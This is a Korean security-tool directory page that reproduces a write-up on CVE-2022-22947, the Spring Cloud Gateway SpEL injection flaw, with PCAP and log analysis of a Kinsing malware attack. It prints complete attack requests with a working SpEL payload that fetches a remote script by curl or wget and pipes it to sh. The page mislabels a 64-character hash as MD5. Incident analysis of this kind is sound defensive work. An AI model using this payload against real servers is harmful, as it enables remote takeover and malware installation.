Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22947 — CVE-2022-22947에 대한 상세 분석 및 공격 실습 - Spring Cloud Gateway의 SpEL 주입 취약점으로 RCE로 이어지며, PCAP 분석 및 Kinsing 악성코드 조사 포함. | Kitploit
도구/GitHubGitHub/sumitpathania03/cve-2022-22947
Vulnerability AnalysisExploitationWeb Application ExploitationMalware AnalysisPapers & ResearchLearning & EducationArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

CVE-2022-22947에 대한 상세 분석 및 공격 실습 - Spring Cloud Gateway의 SpEL 주입 취약점으로 RCE로 이어지며, PCAP 분석 및 Kinsing 악성코드 조사 포함.

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) 2022년 1분기에는 Actuator API를 이용하여 SpEL Injection을 수행하고 잠재적으로 시스템 손상을 초래할 수 있는 흥미롭고 심각한 (기준 점수 10.0) Spring Cloud Gateway 코드 주입 취약점이 발견되었습니다. Spring Cloud Gateway 3.1.1+ 및 3.0.7+ 이전 버전 Spring Cloud Gateway에서 애플리케이션은 다음 조건에서 코드 주입 공격에 취약합니다. IF:Gateway Actuator 엔드포인트가 활성화되고 노출되며 보호되지 않은 경우.

취약점 흐름 그래프

spring

PCAP 분석

1.공격자는 새 라우트 생성을 위해 POST 요청 + JSON을 게이트웨이로 보내고, JSON 구성 파일을 통해 해당 라우트의 응답 헤더를 구성합니다.

root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

응답:

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

JSON 파일에서 볼 수 있듯이, 다음 표현식을 실행하여 응답 헤더의 값을 가져오고 있습니다.
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

exec() 메서드 안에 원격 코드 실행을 위한 복합 명령어가 있는 것을 볼 수 있습니다.

2.그런 다음 공격자는 모든 라우트를 새로고침하기 위해 POST 요청을 보냅니다.

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

응답:

root@kitploit:~
HTTP/1.1 200 OK

3.그런 다음 공격자는 새로 생성된 라우트에 GET 요청을 보내 응답 헤더에 있는 RCE 명령을 실행합니다.

root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

응답:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

응답 200 OK는 RCE 명령이 성공적으로 실행되었음을 나타냅니다.

4.그런 다음 공격자는 해당 라우트를 삭제하기 위해 DELETE 요청을 보냅니다.

root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

응답:

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK는 라우트가 성공적으로 삭제되었음을 나타냅니다.

로그 데이터

##디코딩된 셸코드:

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

이 셸코드를 디코딩한 후 스크립트의 wget URL을 발견했습니다. 그런 다음 수동으로 해당 스크립트를 다운로드했고, 분석 결과 Kinsing 악성코드의 다운로드 URL을 발견했습니다.

SP

해당 URL에서 Kinsing 악성코드를 ZIP 파일로 다운로드하여 추가 분석을 진행했습니다. 이후 해당 악성코드의 MD5 값=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c 을 분석했으며, 다음과 같은 결과를 얻었습니다.

SP

SP

도구 다운로드